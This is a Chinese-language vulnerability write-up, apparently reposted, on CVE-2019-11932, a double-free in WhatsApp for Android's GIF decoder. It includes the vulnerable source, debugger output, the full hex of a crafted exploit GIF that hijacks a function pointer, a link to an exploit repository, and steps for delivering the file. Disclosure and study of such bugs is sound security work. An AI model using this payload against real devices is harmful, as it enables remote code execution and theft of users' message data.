在此文章中,我将分享有关我在Android版WhatsApp中发现的双重释放漏洞以及如何将其转变为RCE的相关信息。Facebook在WhatsApp版本2.19.244中对其进行了正式修补。Facebook为此问题保留了CVE-2019-11932。
WhatsApp(Android版)用户,请务必更新到最新的WhatsApp版本(2.19.244或更高版本),以确保免受此bug影响。
步骤如下:
- 1)攻击者通过任何手段将GIF文件发送给被攻击用户
- 通过WhatsApp作为文档(例如,按“回形”按钮并选择“文档”以发恶意的GIF)
- 如果攻击者在用户(即朋友)的联系人列表中,则恶意的GIF会自动下载,而无需任何用户交互。
- 2)用户想将媒体文件发送给他/她的任何WhatsApp朋友。因此,用户按下“回形”按钮并打开WhatsApp Gallery以选择要发送给他的朋友的媒体文件。
- 请注意,用户不必发送任何内容,因为仅打开WhatsApp Gallery就会触发该错误。按下WhatsApp Gallery后无需额外操作。
- 3)由于WhatsApp会显示每个媒体(包括收到的GIF文件)的预览,因此将触发double-free错误和我们的RCE利用。
DPLifSlurp在libpl_droidsonroids_gif中的encoding.c中的双重释放漏洞
当WhatsApp用户在WhatsApp中打开“图库”视图以发送媒体文件时,WhatsApp会使用一个本机库解析该库,libpl_droidsonroids_gif.so以生成GIF文件的预览。libpl_droidsonroids_gif.so是一个开放源代码库,其源代码位于
https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c
一个GIF文件包含多个编码帧。为了存储解码的帧,使用名称为rasterBits的缓冲区。如果所有帧的大小相同,则将rasterBits重新用于存储解码的帧而无需重新分配。但是,如果满足以下三个条件之一,将重新分配rasterBits:
- 宽度*高度>原始宽度*原始高度
- 宽度-originalWidth> 0
- 高度-原始高度> 0
重新分配是free和malloc的组合。如果重新分配的大小为0,则完全是免费的。假设我们有一个GIF文件,其中包含3个尺寸分别为100、0和0的帧。
- 第一次重新分配后,我们有info->rasterBits大小为100的缓冲区。
- 在第二次重新分配0中,info->rasterBits缓冲区被释放。
- 在第三次重新分配0时,info->rasterBits再次被释放。
这导致了双重释放漏洞。触发位置可以在decode.c中找到:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize;}
在Android中,对大小为N的内存进行双精度释放会导致两个后续的大小为N的内存分配返回相同的地址。
(lldb) expr int $foo = (int) malloc(112)
(lldb) p/x $foo
(int) $14 = 0xd379b250
(lldb) p (int)free($foo)
(int) $15 = 0
(lldb) p (int)free($foo)
(int) $16 = 0
(lldb) p/x (int)malloc(12)
(int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96)
(int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180)
(int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112)
(int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112)
(int) $21 = 0xd379b250
在上面的代码片段中,变量$ foo被释放了两次。结果,接下来的两个分配($ 20和$ 21)返回相同的地址。
现在在gif.h中查看struct GifInfo
struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor;};
然后,我们制作以下三个尺寸的GIF文件:
- sizeof(GifInfo)
- 0
- 0
当WhatsApp Gallery打开时,所述GIF文件会触发带有size的rasterBits缓冲区上的double-free错误sizeof(GifInfo)。有趣的是,在WhatsApp Gallery中,一个GIF文件被解析了两次。当再次解析所述GIF文件时,将创建另一个GifInfo对象。由于Android中的双重释放行为,因此GifInfo info对象info->rasterBits将指向相同的地址。然后,DDGifSlurp()将解码第一个帧以info->rasterBits缓冲,从而覆盖info它rewindFunction(),并将其覆盖,在DDGifSlurp()函数的末尾立即调用它。
控制PC寄存器
我们需要制作的GIF文件如下:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
它包含四个框架:
- 框架1:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
F0 CE 57 2B 6F EE FF FF
- 框架2:
2C 00 00 00 00 1C 0F 00 00 00 00
- 框架3:
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00
- 框架4:
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
- EXP:
从这里获取:https://github.com/awakened1712/CVE-2019-11932
然后复制exploit.gif文件,并将其作为文档与WhatsApp一起发送给另一个WhatsApp用户。请注意,不要将其作为媒体文件发送,否则WhatsApp会在发送之前尝试将其转换为MP4。
受影响的版本
该漏洞利用程序在WhatsApp 2.19.230版之前运行良好。该漏洞已在WhatsApp版本2.19.244中正式修复。
该漏洞利用程序适用于Android 8.1和9.0,但不适用于Android 8.0及以下版本。在较旧的Android版本中,仍然可以触发。但是,由于两次释放后系统调用了malloc,因此该应用程序在达到我们可以控制PC寄存器的位置之前就崩溃了。
通过上述利用,我们可以得到两个攻击媒介:
- 本地特权升级(从用户应用程序升级到WhatsApp):Android设备上安装了恶意应用程序。该应用程序生成恶意的GIF文件,该文件导致代码在WhatsApp上下文中执行。这使得恶意软件的应用程序盗取WhatsApp的沙箱文件,包括信息数据库。
- 远程执行代码:与具有远程内存信息泄露漏洞的应用程序(例如浏览器)配对,攻击者可以制作恶意GIF文件,以通过WhatsApp将其发送给用户(必须作为附件) ,而不是通过图库选择器作为图像)。一旦用户在WhatsApp中打开Gallery视图(谁从未将媒体文件发送给朋友,对吗?),GIF文件将在WhatsApp上下文中触发远程shell。
暗影安全,2012年底团队组建,中国早期进行工业安全、物联网安全的研究团队,帮助公安部以及工信部完成行业标准、安全服务、设备安检、漏洞挖掘等技术合作,拥有一定的技术积累和安全研究、安全开发的功底。
希望和更多安全从业人员发生更多有趣的故事,也真挚邀请热爱安全的你加入我们!
扩展阅读:
本文来源于互联网:Whatsapp 2.19.216-远程执行代码